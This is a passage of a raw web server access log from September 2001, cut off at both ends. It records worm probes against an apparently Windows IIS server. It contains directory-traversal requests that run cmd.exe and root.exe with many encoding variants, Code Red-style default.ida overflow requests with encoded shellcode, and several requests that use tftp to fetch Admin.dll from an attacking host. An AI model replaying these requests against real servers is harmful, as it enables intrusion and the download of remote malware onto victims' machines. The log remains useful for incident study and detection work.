/d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 19:09:19: [128.197.227.140] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:09:38: [128.197.227.139] "GET /d/Admin.dll HTTP/1.0" 20010919 19:09:56: [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:10:14: [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 19:10:36: [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 19:10:54: [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 19:11:15: [128.197.227.139] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010919 19:11:34: [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:11:52: [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 19:12:14: [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 19:12:32: [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 19:12:50: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 19:13:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:04: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:32:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:34:53: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:38:01: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:38:01: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 19:50:35: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 19:50:53: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:51:11: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:51:29: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:51:48: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:52:06: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:52:24: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:52:42: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:53:01: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:53:19: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:53:37: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:53:55: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:54:13: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:54:32: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:54:50: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:55:08: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 19:58:08: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 19:58:26: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:58:44: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:59:02: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:59:21: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:59:39: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:59:57: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:00:15: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:00:33: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:00:52: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:01:10: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:01:28: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:01:46: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:02:05: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:02:23: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:02:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 20:11:08: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 20:11:08: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:11:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 20:41:06: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:41:11: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 20:41:58: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 20:42:16: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:42:34: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:42:52: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:43:10: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:43:28: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:43:47: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:44:05: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:44:23: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:44:41: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:44:59: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:45:18: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:45:36: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:45:54: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:46:12: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:46:30: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 20:55:00: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 20:55:19: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:55:37: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:55:55: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:56:13: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:56:31: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 20:56:50: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:57:08: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 20:57:26: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:57:44: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:58:02: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:58:21: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:58:39: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:58:57: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:59:15: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:59:34: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 20:59:52: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:00:10: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:00:28: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:00:47: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:01:05: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:01:24: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:01:42: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 21:01:42: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:02:01: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:02:19: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:02:37: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:02:55: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:03:13: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:03:31: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:03:50: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:04:08: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:04:26: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:04:44: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:05:02: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:05:20: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:05:39: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:05:57: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:06:15: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:06:33: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:06:51: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:07:10: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:07:28: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:07:46: [128.59.47.63] "GET 